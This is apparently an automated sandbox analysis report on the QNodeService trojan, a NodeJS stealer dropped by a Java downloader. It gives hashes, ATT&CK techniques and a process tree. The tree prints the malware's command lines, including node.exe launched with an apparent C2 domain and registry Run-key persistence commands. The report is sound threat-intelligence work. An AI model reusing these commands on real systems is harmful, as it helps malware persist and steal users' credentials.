qnodeservice | 0a27689398ba97857fe915d7bf1f3d62249d4b8f26ab713f55bdfb556733c9df

General

Target

20201025_8428223.jar
Size

78KB
MD5

1dd1c8e9bfa0796e09e43d9ca2e7ff8a
SHA1

45084942b2387c4fd4fa7c751344efd126863c16
SHA256

0a27689398ba97857fe915d7bf1f3d62249d4b8f26ab713f55bdfb556733c9df
SHA512

9a9ae2cbd27bfa9e7fd3adae560419b2c377bff7b5b9199d82365d0e7627c0b36e0cb9af9008947fb715579b415ac381d86e1c0f2c3700f7f2d6652b27c05865

Score

10^/10

qnodeservice persistence spyware trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2008	node.exe
3732	node.exe
1740	node.exe

Loads dropped DLL 6 IoCs

pid	Process
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\30f3f008-19bc-4183-b563-ddabc3e29d93 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab69-170.dat	js
behavioral2/files/0x000100000001ab69-174.dat	js
behavioral2/files/0x000100000001ab69-178.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	wtfismyip.com
29	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2008	node.exe
2008	node.exe
2008	node.exe
2008	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe
1740	node.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 3560	3992	java.exe	75
PID 3992 wrote to memory of 3560	3992	java.exe	75
PID 3560 wrote to memory of 2008	3560	javaw.exe	79
PID 3560 wrote to memory of 2008	3560	javaw.exe	79
PID 2008 wrote to memory of 3732	2008	node.exe	81
PID 2008 wrote to memory of 3732	2008	node.exe	81
PID 3732 wrote to memory of 1740	3732	node.exe	82
PID 3732 wrote to memory of 1740	3732	node.exe	82
PID 1740 wrote to memory of 728	1740	node.exe	84
PID 1740 wrote to memory of 728	1740	node.exe	84
PID 728 wrote to memory of 1316	728	cmd.exe	85
PID 728 wrote to memory of 1316	728	cmd.exe	85
PID 1740 wrote to memory of 3652	1740	node.exe	86
PID 1740 wrote to memory of 3652	1740	node.exe	86
PID 3652 wrote to memory of 540	3652	cmd.exe	87
PID 3652 wrote to memory of 540	3652	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\20201025_8428223.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\bc568652.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JQDjxC\boot.js --hub-domain empefarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3732
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JQDjxC\boot.js --hub-domain empefarm.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1740
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "30f3f008-19bc-4183-b563-ddabc3e29d93" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:728
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "30f3f008-19bc-4183-b563-ddabc3e29d93" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1316
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "30f3f008-19bc-4183-b563-ddabc3e29d93" /F"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3652
        
        C:\Windows\system32\reg.exe
        
        REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "30f3f008-19bc-4183-b563-ddabc3e29d93" /F
        7⤵
        
        PID:540

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1740-179-0x0000009841400000-0x0000009841401000-memory.dmp

Filesize
4KB

Download
memory/2008-172-0x000000C2BBFC0000-0x000000C2BBFC1000-memory.dmp

Filesize
4KB

Download
memory/3732-175-0x000001A3F27C0000-0x000001A3F27C1000-memory.dmp

Filesize
4KB

Download

Analysis

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